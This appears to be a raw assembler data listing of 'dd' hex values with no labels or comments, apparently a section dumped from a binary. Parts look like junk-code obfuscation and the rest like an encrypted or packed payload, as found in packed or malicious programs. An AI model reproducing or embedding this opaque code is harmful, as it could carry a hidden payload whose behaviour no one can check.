		dd 6A60CB2Fh, 77815DCEh, 2D315E41h, 9A6CCCEEh, 0B5FFFF9Ah
		dd 88D45D36h, 0E24F0A27h, 0DFCB6FC9h, 3E1477FEh, 103h
		dd 0F0B9DFC0h, 69097AB3h, 0AAEFF24h, 155CFF21h,	0DA761788h
		dd 9ADABF9Ch, 9A4039F3h, 0F9CECA7Ch, 9BB4AF57h,	4CB30E43h
		dd 0FB3DE49Eh
		dd 0DA5CE08h, 5FFEAF58h, 0C2F9016h, 0A102D845h,	0DD6ACE87h
		dd 8F50257Fh, 28AA2A0Eh, 738B78ECh, 312AD28Bh, 21CA4395h
		dd 0FEC5A488h, 58284C4Ch, 241D36AFh, 9AC06EF4h,	27CECA7Ch
		dd 9BB4AF58h, 58283773h, 0F6220DAFh, 380970h, 0CA50FBB6h
		dd 13B5C371h, 0B6003817h, 0BD6942EDh, 0AAD6BF0Bh, 156785BCh
		dd 2370E802h, 1008B25Ah, 0F2BCAB93h, 59BA6059h,	8E317538h
		dd 0C24941EDh, 0A2CA8B09h, 3364C98Ch, 0CD49805Ah, 4163B209h
		dd 3202B068h, 1192EC61h, 0F8B0h, 69204700h, 98DD72DDh
		dd 0CE87A102h, 0FEBBD778h, 2B6607A8h, 0B161109Fh, 0E649DD90h
		dd 12BD0944h, 44EF3B72h, 4AD26821h, 9327690h, 0CA10B608h
		dd 9B5EFF6Dh, 316AB7FAh, 0C261C258h, 0FF103F8Bh, 1788155Ch
		dd 0F635DC74h, 3C5E9D25h, 0D044C743h, 0C711BF6Bh, 85A401Ch
		dd 2B6F9765h, 19AF5888h, 0D670FA3Eh, 0B608A9C7h, 940D92BDh
		dd 410830F1h, 34D2CBDCh, 0C105ADCBh, 0C058B1E3h, 88A10EE7h
		dd 0FD3B7617h, 0C089AC17h, 0D598B91Ah, 997AE043h, 0E167B1F4h
		dd 0D0A7D72Eh, 0CF79A747h, 0D0A7D6CBh, 0C3449EB9h, 0EF56B30Bh
		dd 57D8B3E5h, 26642D50h, 7397DE7Dh, 2BA3EE90h, 0B8C9F589h
		dd 72D147CAh, 5BD89DB1h, 43E0A5CAh, 0A60B42E2h,	2AA90AA3h
		dd 5E65CEE7h, 8F30763Fh, 0CA0B2DECh, 0A409E2ABh, 61F27B73h
		dd 0FC0F5D60h, 0A259E03h, 0
		dd 713459BAh, 0BDBDFB2Ch, 1158FFC6h, 3970138Ch,	40092BF4h
		dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h,	0CD84A47Dh
		dd 0D792BF60h, 2368FA4Ah, 89000007h, 89562414h,	4C681E6h
		dd 83000000h, 348704EEh, 34895C24h, 7C106824h, 0C890000h
		dd 77916824h, 2C890000h, 229CBD24h, 0EE8906B0h,	3C62685Dh
		dd 24890000h, 24048124h, 4, 0B9515659h,	0B3F578Fh, 4244C29h
		dd 8418F59h, 8F084181h,	0FF0B3F57h, 81592434h, 4C4h, 2434FF00h
		dd 4C4815Eh, 0E9000000h, 0FFF8497Ah, 4F72BB40h,	428A4FA6h
		dd 0E3DA6F7Bh, 0B84C785Ch, 6B033D5h, 0E0FFC503h, 2E3A8285h
		dd 6C432F87h, 5FE0B3DDh, 44A114A4h, 396D2386h, 75ABC1CAh
		dd 2B3ADFAh, 53DAA344h,	15E40B8Eh, 7089ECCFh, 4297D690h
		dd 77809E0h, 79AE4198h,	79EFDEDFh, 3D255224h, 304DECC9h
		dd 18BDFF0Bh, 2B12B51h,	175C9E12h, 14E6CDE2h, 6C8AA35h
		dd 5D742890h, 77A7BF56h, 34AF6219h, 80CBD59h, 352D8D8Dh
		dd 7FB406B0h, 5B98D89h,	0BF6606A8h, 85C72505h, 6A81469h
		dd 652Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	13C35646h, 0DD7DCDF4h, 0E7816612h, 85C7090Ch, 6A80BBDh
		dd 0
		dd 0B5FFBCB0h, 6A80E01h, 0FFC2B70Fh, 0A820DD95h, 81B58B06h
		dd 6A06A82Fh, 3195FF00h, 8B06A81Bh, 9249EBC0h, 90A1689Dh
		dd 0E411EC62h, 608091Dh, 3C978420h, 0F2D0E058h,	47A8F2B5h
		dd 0A0C26B21h, 73A1DDB2h, 9CE67581h, 0F211F234h, 0C835AA8Ch
		dd 0F9F8FD2Ch, 10097572h, 0C5C671EBh, 84539A84h, 73620118h
		dd 0EE4AF898h, 0A239D258h, 361A8D8Dh, 17B406B0h, 5B98D89h
		dd 850F06A8h, 6, 33E59589h, 85C706A8h, 6A81469h, 5D9Ch
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 37C35747h
		dd 6830Fh, 85230000h, 6A801A5h,	0BBD85C7h, 6A8h, 0CC800000h
		dd 5E999h, 0B4770000h, 0FFC0167Eh, 0A81561B5h, 84D08106h
		dd 0FF503859h, 0A820DD95h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8D01BBEFh
		dd 6A801ADh, 95FF006Ah,	6A81B31h, 0BEBC08Bh, 51FDC756h
		dd 749A87ACh, 0E9935FFBh, 1Ch, 287C79ECh, 6 dup(0)
		dd 50BE9h, 0C188AF00h, 0F0B5DA45h, 266F09AAh, 56133FE0h
		dd 83CE6FD0h, 19F9B807h, 4EF13578h, 7A25612Ch, 0AC1793DAh
		dd 0E27AC089h, 0CCACE78h, 72B8B608h, 155CFFD5h,	3B761788h
		dd 0FD9E01EFh, 0C93A73B0h, 6EBFE4A9h, 8FC665CAh, 0ABE28122h
		dd 0B5F09D06h, 7E618568h, 0AC0791DCh, 1059FC03h, 420B298Ah
		dd 70395BC4h, 15D07233h, 0AFC93A73h, 7760B9E6h,	7D8F3553h
		dd 0AF57D73Dh, 0A6E22C07h, 9CAF57D7h, 6750193Bh, 268F5231h
		dd 0AFD0337Dh, 43E4BDE2h, 9F88A10Eh, 5EF69619h,	9E179467h
		dd 0C6443DF3h, 53773E5Dh, 1C81C870h, 3C3EAD0Bh,	0AF57F9F9h
		dd 81CB5443h, 0BE7CC077h, 0CD6B11CCh, 0DFD37D69h, 6B9812h
		dd 0FFA30000h, 0EF1155Ch, 0AA83206Dh, 5E419D0Eh, 0F029763Fh
		dd 0D768AEB8h, 1A3BAF57h, 3559CA57h, 0C8673370h, 71386067h
		dd 4802FB2Ch, 0C4B0C263h, 2312DFD6h, 1,	9F52FF04h, 294FB0F9h
		dd 3C2A7760h, 0D7347496h, 250EAF57h, 42072CF3h,	6B2E44DDh
		dd 7A3F54BFh, 0D7B4E435h, 1F268F7Ch, 0D59CBF72h, 20665F48h
		dd 1195DC7Fh, 9B5EFF2Ah, 3D6EB3F6h, 2946DF44h, 0EB40C76Ch
		dd 6F22434Ah, 9CD578DBh, 0A3EA8E17h, 6BAFD907h,	59AF57D7h
		dd 0D7918933h, 0D873AF57h, 76DA49EFh, 6748149Dh, 0F6278CC5h
		dd 0D4EAF6A2h, 78ED12DFh, 36000000h, 8E135EFFh,	96B27315h
		dd 605952DFh, 0AEEA1CBAh, 94AF57D6h, 278E7DBBh,	45E6EDB6h
		dd 7011B208h, 0EB906BDCh, 8797ADAh, 0F3302960h,	0D4591C32h
		dd 6605EE74h, 9112892Fh, 0DF486581h, 6D6012h, 0BABB0000h
		dd 0D6AEEA1Ch, 0BB94AF57h, 0DC91B27Dh, 92ADAC2Eh, 2C318DADh
		dd 0E6861F8Ch, 8DA102AFh, 95BA6BC8h, 278C53D0h,	0A61FF7Eh
		dd 0CC81A2A9h, 0DA93B51Eh, 0FFCFF45Eh, 0D23BF652h, 0D53DBE3Bh
		dd 0E604FDB8h, 58B064A4h, 1CF55EAFh, 0B0505797h, 4CBAAF58h
		dd 0D590BD26h, 73B75F48h, 51AF58B0h, 58D9B2E6h,	0DF0F6E5Ah
		dd 18912h, 0FF920000h, 12931059h, 72F53A73h, 0B7D1D859h
		dd 119ED776h, 209B2F18h, 3093378Ch, 0C0D94603h,	0E1788268h
		dd 0A3B5FFE3h, 92345288h, 0B5FFE496h, 662B4B6Ch, 0A1F7E039h
		dd 8BC261C2h, 0B8F1943Fh, 0E3B5F37Bh, 0DB01B5FFh, 991F5AF8h
		dd 0DB7A8122h, 0BCCE7492h, 0B5FFE47Ch, 0C14BED46h, 50FE3F5Eh
		dd 6BF73C15h, 0DABE688h, 65CA83A2h, 8E369ABCh, 692CCCE7h
		dd 0D44DD2CBh, 0FFBBF8B1h, 0F150DF40h, 0B1D4DB44h, 1E0AA2F8h
		dd 0F914777Bh, 12Fh, 0DFDF4983h, 38AF219Fh, 36625B16h
		dd 0EB5E7EDh, 723AED8h,	36E1B600h, 5C1538E9h, 9EBF20CEh
		dd 0BBDA45D3h, 4AEBD4F2h, 17819A07h, 148EBB4h, 0EFB01D9Ch
		dd 0BE0C45E8h, 77E6221Eh, 3547ED14h, 0EA18785Ah, 49418908h
		dd 3BB5FFE4h, 587A9810h, 0CD000000h, 0DF0BB6E7h, 57D74DADh
		dd 971C372Fh, 0A1C22D4Bh, 0D6E622ECh, 0FBDC2F57h, 9A931059h
		dd 0B9F177A1h, 0FF2F57D6h, 5B9DDF40h, 441F511h,	8205937Bh
		dd 8F709611h, 430A2EE3h, 4FD4CDDEh, 0F610DA5Eh,	0AF587192h
		dd 0A543C770h, 70CDCD7Fh, 9CB7AF58h, 85B31Ch, 0E7960000h
		dd 81B9C3B5h, 43AF57D7h, 111A1EE8h, 0D11E4258h,	0E5B8C2F8h
		dd 0DFB60102h, 0B1E913B9h, 93B60102h, 31A1EB8h,	4FE8B601h
		dd 0B21DC956h, 0D25DDB92h, 3ACFAB3h, 42842960h,	0B6010441h
		dd 337D268Dh, 4377395h,	9F29B601h, 0B601049Bh, 133CCE69h
		dd 327B1A85h, 5AE153F4h, 3A491AACh, 0DD1FBCB1h,	12D0E1A2h
		dd 0C977A1D6h, 3D60C16Eh, 83282F74h, 0A2910322h, 4962CF86h
		dd 4310AA50h, 1C3614Dh,	0E7AB9016h, 0AED80EB5h,	0B6080D95h
		dd 0D773014Bh, 0E1FC52E3h, 441A16E9h, 96025873h, 0C162CF68h
		dd 8BCE63A2h, 8E1CF526h, 0A6C70625h, 7C5546EBh,	0D73F3737h
		dd 9456E4D4h, 640CF642h, 0B6E2F453h, 2E4D54DDh,	0E3254367h
		dd 0E4D4F9A7h, 3151B29Dh, 0B2E6377Ch, 5C467C8h,	0E9362F66h
		dd 0D25F1A38h, 6A85D70Fh, 0F853E8B4h, 54DDB6E2h, 23672E4Dh
		dd 7C1CDD80h, 0BD75C35h, 6CCC85A8h, 3E3h, 0CBB0C600h, 8C1158FFh
		dd 0F4397013h, 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h
		dd 7DA2E78Bh, 60CD84A4h, 4AD792BFh, 45368FAh, 0C890000h
		dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 241C895Ch
		dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 6856240Ch
		dd 64D72BC0h, 0C6814E5Eh, 69CB0A5Dh, 0FFCCBD55h, 0EE29C7F1h
		dd 5EF3895Dh, 240C8B54h, 5604C483h, 8952DE89h, 85189F2h
		dd 0C8B5E5Ah, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 2434FF5Ch, 4C4815Bh,	0E9000000h, 0FFF8426Eh,	21CB5B5Ah
		dd 62E9DEC7h, 0B03AD4B8h, 0FFC50306h, 0D5BAE8E0h, 0A27D66Dh
		dd 94CB3010h, 9363AA71h, 0D9867119h, 7B9B770Bh,	3591AF08h
		dd 74D83E66h, 6B48775h,	3224C04h, 719B0601h, 0CEF77C2Bh
		dd 59AD8056h, 8B48F107h, 7CD3BF5Bh, 84455372h, 78491B13h
		dd 0ACAF050Ah, 0F9654D18h, 0DDD3D34Ah, 8564B661h, 9960D57h
		dd 10EB18h, 3 dup(0)
		dd 8B000000h, 6860FC0h,	81000000h, 5F38CCE6h, 0D9BD830Ah
		dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h
		dd 42Dh, 7B58589h, 9D8D06A8h, 6AAA1ACh,	585BD3FFh, 2DE9BD83h
		dd 740006A8h, 0B8535017h, 42Dh,	7B58589h, 9D8D06A8h, 6AA9E9Bh
		dd 585BD3FFh, 8166CEB6h, 8BDF83F6h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 1AB67F7h, 43D38833h
		dd 6E960E5h, 0B5000000h, 502E388Fh, 0EF8166E1h,	29612BF9h
		dd 0A8307185h, 58D8B06h, 6606A828h, 0E9A59FBAh,	12h, 25083EF6h
		dd 513DA8E8h, 50CB1C6Ch, 94561504h, 0F9839A9Bh,	0B1840F00h
		dd 8B000000h, 0A8167595h, 0F08B6606h, 2C3D8B64h, 66000000h
		dd 7891DA81h, 840FFF0Bh, 94h, 6A3F8Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 7F0EB2C3h
		dd 0DAD63271h, 89360034h, 0A833B595h, 6AC03206h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 9F8EC353h, 0F2C7D525h, 10E992h, 0F3870000h, 0C54E937Dh
		dd 4D4C64DCh, 8B586D34h, 0AAF3D627h, 5E860h, 95800000h
		dd 0E98F5D0Bh, 14h, 0AE296CECh,	496487E6h, 380C927Ah, 3FCECC05h
		dd 710DF218h, 850F58h, 61000000h, 50414935h, 81665353h
		dd 5A8733D2h, 15D585C6h, 6A4706A8h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C737C352h
		dd 0F231C84h, 689h, 55958900h, 6806A832h, 0DB3A559Eh, 81D68B66h
		dd 0DDB22434h, 0B52907ECh, 6A83335h, 1C09958Bh,	0B5FF06A8h
		dd 6A80F95h, 1E9B58Bh, 858D06A8h, 6AB6971h, 0FFF28B66h
		dd 0DB589D0h, 8906A828h, 0A8174985h, 0A5BA6606h, 21B58B6Dh
		dd 0C606A831h, 0A815D585h, 0B58B5306h, 6A80D39h, 4E68F48Ah
		dd 0BEC92651h, 63505B58h, 0B2243481h, 6641BE3Bh, 5E9D78Bh
		dd 0FB000000h, 0FC21FE3Bh, 0F95B5FFh, 0BD8906A8h, 6A82565h
		dd 2FFD958Bh, 858D06A8h, 6AB6971h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 36C35141h, 8DFCD0FFh, 0AB2EF385h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0CE8002C2h, 0F6B70F84h, 898589F8h, 6A06A80Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0D31FC353h, 0B2BE7388h, 30ADB58Bh, 206A06A8h
		dd 95FFFF6Ah, 6A80F89h,	50414935h, 0E585C753h, 106A81Fh
		dd 0C7000000h, 0A820D585h, 6, 0D0BF0F00h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 0BC35141h, 6346E4A4h
		dd 0E53D147Ah, 0FE9h, 0B7F10800h, 0C16F4817h, 0C8219241h
		dd 42EC0518h, 858B1EB2h, 6A81EADh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0BEC35141h,	0C4A77263h, 820F2F17h
		dd 6, 3015958Bh, 0A36406A8h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F2C35747h
		dd 2E132B47h, 13F5BD89h, 14E906A8h, 0A1000000h,	9003B74Dh
		dd 9262C634h, 0BC0F90C4h, 0F18ADC43h, 83373901h, 0A80061BDh
		dd 840F0006h, 1Ch, 0B58BF960h, 6A80C89h, 89858B61h, 0BE06A825h
		dd 70F82B8Eh, 8D01E08Bh, 6A814F5h, 276DBD83h, 0F0006A8h
		dd 39C85h, 11E800h, 0D2210000h,	0E87B5528h, 4EAAB7AEh
		dd 0A002DEFEh, 8B44E5F2h, 0A8254595h, 85C65E06h, 6A815D5h
		dd 0A7986856h, 0D7BA590Ah, 8175612Bh, 89472404h, 0B70F50BAh
		dd 95B5FFF3h, 0F906A80Fh, 6971858Dh, 0D0FF06ABh, 90F3BF0Fh
		dd 7DADBA66h, 90F78B50h, 8DF78B66h, 0A82CD98Dh,	50529106h
		dd 0D18B6652h, 585A310Fh, 0E960505Eh, 0Eh, 228B9500h, 14FF747Eh
		dd 19A314A0h, 0CDB6F6ECh, 958B9161h, 6A8152Dh, 958B046Ah
		dd 6A80511h, 4E8h, 100000h, 8B665000h, 24448BD3h, 8BD78A04h
		dd 9E900h, 0E4A00000h, 8D40D9B2h, 89B4E9F8h, 0E9042444h
		dd 11h,	0B97C9533h, 861363D5h, 7EEA76FFh, 4029768Ch, 96058BDh
		dd 0A83345B5h, 0B5FF6106h, 6A831D5h, 0FFF0B70Fh, 10E9D0h
		dd 0B0AE0000h, 0A276A784h, 0B22AA04Ah, 0D51D58EFh, 0BD8BECAFh
		dd 6A831D5h, 3840Fh, 0BF0F0000h, 3C7F03D6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D7C35747h, 279A807Fh
		dd 11B52960h, 5106A831h, 1E0D958Bh, 615F06A8h, 8342D281h
		dd 0C78164E2h, 0F8h, 34DA8166h,	2447C7D9h, 60000020h, 83D6B70Fh
		dd 0B03BBEBDh, 840F0006h, 164h,	28C783F5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 90C35141h, 0D2635E5Fh
		dd 7C70C02h, 64696A2Eh,	0FE8h, 14B1AE00h, 567C7C82h, 0DD41726Dh
		dd 0B481500Eh, 3C1BDA81h, 0C75A0967h, 74610447h, 0CE90061h
		dd 0D2000000h, 733E83BEh, 9B134694h, 8B772B0Bh,	0B03BC685h
		dd 0B70F6006h, 6800FF6h, 89000000h, 0A80CA18Dh,	0B58B6106h
		dd 6A82AE9h, 890C4789h,	0A81D6985h, 0CA858B06h,	8B06B03Bh
		dd 0A8335D95h, 89D38B06h, 6A0847h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0C783A5C3h, 12E928h
		dd 0C9E30000h, 0BFEC30C8h, 25398A4h, 61C74A43h,	0D9ECEACCh
		dd 632E07C7h, 6A6E6Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 73A089C3h, 0D68B99D6h, 8BFB5941h
		dd 0C1B503D7h, 0C706A819h, 69660447h, 0BD890067h, 6A80515h
		dd 3BC2858Bh, 606006B0h, 2C798D89h, 9E906A8h, 8000000h
		dd 0EF5A60ABh, 0D70CDFB0h, 61C18A61h, 8B0C4789h, 0A826A5B5h
		dd 0CE906h, 0BF9B0000h,	56ED9B5Dh, 0A56AC49Ch, 858B1F24h
		dd 6B03BBEh, 27192EBEh,	8478975h, 2840Fh, 0D08B0000h, 0F59D3157h
		dd 5E06A81Fh, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0BC7C42E5h, 8DB58B3Eh, 8D06A80Fh
		dd 0A800758Dh, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 28520F86h, 50508CD5h
		dd 0C88A6052h, 0F615A53h, 12E931h, 0C67F0000h, 8279D4Bh
		dd 0DB339AE4h, 5D5E71F3h, 9A85AF64h, 0C89585Ah,	0FFF18B24h
		dd 0A82CD9B5h, 51006A06h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 635387EBh, 8BE418F1h
		dd 0CAF281F3h, 680CF0E1h, 3574A0C6h, 28F0F60h, 8B000000h
		dd 5F5153C3h, 34816158h, 74B0C624h, 21BD0135h, 6606A81Ch
		dd 0B5FFD68Bh, 6A831D5h, 39D9B9BAh, 8BD0FF58h, 0B8F0h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 56C1EEC3h, 2AC59589h, 0B5E06A8h, 42840FC0h
		dd 8B000000h, 0A80A9595h, 0D1958B06h, 0FF06A831h, 0A80D6DB5h
		dd 925FBE06h, 95FF35E0h, 6A820DDh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0F1C35242h,	7B3A095Fh, 7C9B8627h
		dd 6AC08BFCh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0C16CC350h, 896D3BA0h,	0A80D099Dh
		dd 4D8D8906h, 8306A80Fh, 0A81ED9BDh, 9750006h, 2DE9BD83h
		dd 740006A8h, 8B535019h, 42DB8C0h, 85890000h, 6A80FD5h
		dd 0A2139D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h, 50177400h
		dd 42DB853h, 85890000h,	6A80FD5h, 9EB49D8Dh, 0D3FF06AAh
		dd 9D89585Bh, 6A81A59h,	16C3BE66h, 810FC08Bh, 18h, 13E9h
		dd 98100000h, 4D98CEEFh, 0B6A15628h, 83D55993h,	6FD9AB5Fh
		dd 9E8C08Bh, 74000000h,	699149EDh, 2E687471h, 59D08B56h
		dd 3D9D8B5Fh, 8106A80Bh, 6D8AC7h, 0CEBF0F00h, 0ADA594BEh
		dd 0ABC68179h, 89865275h, 0A82CE5BDh, 8037FF06h, 8B58F8DBh
		dd 0F5E881C8h, 605A5D76h, 20C9B58Bh, 8C0F06A8h,	6, 297DBD0Bh
		dd 816106A8h, 0E1D62EC0h, 3810F22h, 80000000h, 0C08171D5h
		dd 222C080Bh, 789CA8Bh,	9E9h, 0E92DE600h, 7FBC4B97h, 0EF8305DFh
		dd 49958904h, 8106A814h, 1EEh, 0A2850F00h, 1FFFFFFh, 0A8229585h
		dd 0FE8D8D06h, 0E906B045h, 7, 74895F71h, 89988D60h, 0A805B98Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8B22A18Ah, 0A80B69B5h, 6985C706h, 6406A814h
		dd 6A000074h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0DD8FC350h, 0E9FB89BCh, 6, 0F7CF2B83h
		dd 85C7EFFAh, 6A80BBDh,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 25C35242h
		dd 0C19DD59Bh, 0FFBC32E7h, 0A80D41B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0AE84C9A7h, 0CD51ACDBh, 858B0298h, 6A8062Dh,	0AD858B60h
		dd 8B06A832h, 0A828A9BDh, 95FF6106h, 6A820DDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AFC35141h, 754363C5h
		dd 32BD71D0h, 1F099D89h, 858906A8h, 6A807CDh, 95FF006Ah
		dd 6A81B31h, 7CEBC08Bh,	80B36335h, 38DEF44Eh, 70894317h
		dd 0BF66644Eh, 813A0F7Eh, 0AC8A597Eh, 0EF6AB616h, 0BE804340h
		dd 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh,	1B65EA77h
		dd 4FBEE627h, 5CB78012h, 110717CCh, 4F9AD8CDh, 0B893273Eh
		dd 0A1F0C024h, 87602E08h, 7CBA3A0Eh, 79723574h,	0D1BDB1Bh
		dd 0A84D1880h, 959CFDA8h, 4F1A31CFh, 0E75B76BEh, 0F4BBC2FCh
		dd 7528F235h, 15ABBBB7h, 7D69B573h, 472F8D8Dh, 6A06B0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8D893CC3h, 6A805B9h,	0C7FE8B66h, 0A8146985h,	59F406h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0FDB91486h, 0BD85C7A3h, 6A80Bh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0C4F6C352h, 3509B5FFh, 0F58A06A8h, 20DD95FFh
		dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 9F9C7FC3h, 0FF006A63h, 0A81B3195h, 0EBC08B06h
		dd 0CC053868h, 0F2183FCEh, 4A50710Dh, 71531DF6h, 959EA0BEh
		dd 0D1719CB9h, 0CB16CBCAh, 0A6F98412h, 0DB640941h, 0CBF04AD2h
		dd 11DE3FE4h, 0F357F0E6h, 6A0612CDh, 0B0B4619Fh, 7B45196Ah
		dd 0EBA16578h, 0CAD94C90h, 0B3745243h, 8BD68543h, 1255F9F5h
		dd 7597C3BEh, 7EA9AD9Ch, 0FE3F44B1h, 8D5B445Dh,	9BBDD071h
		dd 7FC9000Dh, 128D8D82h, 306B048h, 0A82DED9Dh, 0B98D8906h
		dd 0E806A805h, 7, 0AE6C9B56h, 0F9982313h, 6985C75Bh, 0C406A814h
		dd 0B3000067h, 0BD85C78Fh, 6A80Bh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 12FC357h, 0A824E5BDh, 15B5FF06h, 8B06A809h, 0A81DE59Dh
		dd 0DD95FF06h, 6606A820h, 0A64ED281h, 95FF006Ah, 6A81B31h
		dd 5FEBC08Bh, 69CA5FDCh, 0F9E7CE84h, 0BC11F4F7h, 6864C8FDh
		dd 0B20230FEh, 8ACA3677h, 0C4339D7Fh, 93C11113h, 0DFBD2D2h
		dd 22137FE0h, 0C66B85F6h, 0B18197AFh, 6B4E41E5h, 0AAE19B91h
		dd 0E4415BC8h, 63AE3C4Dh, 108AF5A2h, 0BF78C522h, 0AB2DE850h
		dd 3E902D97h, 8C019A62h, 716FF863h, 0FED7F782h,	0E86A70A5h
		dd 0Fh,	6744198Bh, 0A7E0A52Eh, 64FF04C2h, 357DF41h, 0A8225195h
		dd 0C1815906h, 6966h, 6840Fh, 95890000h, 6A82E0Dh, 1A3368h
		dd 95895600h, 6A81101h,	858B5B5Ah, 6A82EC5h, 0CAB4318Bh
		dd 0A941F681h, 8F0F76CBh, 6, 14C98529h,	0C68106A8h, 679A722Eh
		dd 864379BFh, 5FF68115h, 891D185Ch, 0A8208995h,	0BD895606h
		dd 6A80BD5h, 858B018Fh,	6A81721h, 0BD4EE981h, 81664E0Ah
		dd 817CDCC8h, 0ABD4AC1h, 1BD8B4Eh, 8106A810h, 1EBh, 0A1850F00h
		dd 66FFFFFFh, 0EBFB8Bh,	3BAE9h,	0F1B8DF00h, 20650AB5h
		dd 561F399Ah, 86C36FD0h, 0B3FE9F00h, 49C9E877h,	7E216528h
		dd 0AA1591DCh, 0DC47C38Ah, 32AAF0B9h, 209A9E28h, 2268B608h
		dd 1752FF05h, 41083093h, 71345AC5h, 2CE98A35h, 0CBDC4108h
		dd 0A6CB34D2h, 0AB84CD6Bh, 7B1C870Dh, 2F4FF036h, 2A034AEAh
		dd 5811339Ch, 8BC261C2h, 99D0745Fh, 2F950314h, 0F0BDDEC1h
		dd 79A6E38Fh, 57E8820h,	86B6073Ch, 367F1E09h, 5F1A38E9h
		dd 0D17D22D2h, 0EB8D7694h, 0E340052Ah, 0C270D1CAh, 10AB1187h
		dd 59E307BCh, 0BCAF4B9Eh, 0E466CB64h, 0BCAF4BA0h, 0CCCE573Ch
		dd 1F88A2D0h, 12537h, 5EFF0800h, 1BAE5BF2h, 544D28AEh
		dd 0B1E913CFh, 93AF58C4h, 0DF440D30h, 0DE74D5CEh, 9F05169Bh
		dd 0C50B3B4Dh, 5EF9AF58h, 6C2547A8h, 0A4A737C7h, 9D97FED7h
		dd 0E9774A4h, 3FE0266Fh, 4FC8551Ch, 16B056EDh, 0B60086E3h
		dd 262976A1h, 7758248Dh, 921D9BD6h, 0D5D577F3h,	8BB60086h
		dd 873971h, 0DE200BB6h,	0E00E9C75h, 931059FFh, 2B891E9Ah
		dd 0C1D06A90h, 83BCA8A5h, 0F29172A8h, 0F32576BBh, 48E9CA10h
		dd 5B8F9805h, 0A8A5E921h, 3870DBBCh, 6F9BD677h,	0ADE484h
		dd 50BA22F6h, 1AF32064h, 0E5CE349Eh, 88A10E47h,	93DE7F20h
		dd 912C8D0Eh, 0CD07D375h, 52FDBCA8h, 0BCFC0EB4h, 86BCA8CCh
		dd 6810BADh, 62A6E096h,	41BCA8CDh, 0D2CB682Dh, 984E2710h
		dd 50D62F6Eh, 1DA731C3h, 13525DC1h, 0AE89B7E1h,	0B2FFA001h
		dd 26608E74h, 0C34FD9E2h, 0DA464284h, 133CC34Fh, 6F3078D3h
		dd 9D1E83CEh, 2365813Ch, 0C34FDA1Bh, 0B84983E9h, 0FE06A6D2h
		dd 0EF2D6D95h, 1A1FC34Fh, 0D16258EAh, 6D46F1F1h, 98D576D9h
		dd 1CBA2502h, 57D6AEEAh, 1F56F5AFh, 733464CFh, 3A4C7AC1h
		dd 0B5FFE413h, 7AA046F1h, 0FFE3C8C0h, 791BAB5h,	1158FBA4h
		dd 226B0AF5h, 355D0CF6h, 9A40FB5Ch, 0D8501539h,	0E46EB650h
		dd 1635B5FFh, 0C568CB5Fh, 352E6304h, 5D1437E8h,	86DC2FA9h
		dd 941950F3h, 86E94B83h, 0FC432088h, 0A4C7CE57h, 0EDBF39EDh
		dd 2A6F0445h, 0DE273FD0h, 6844F05Ah, 8F147739h,	2Ch, 0EA1CBA90h
		dd 0AF57D6AEh, 59103394h, 1059FF60h, 16AD0F98h,	92356F0h
		dd 36E1B600h, 0D41538E9h, 62BBF8B1h, 14B23D89h,	95000000h
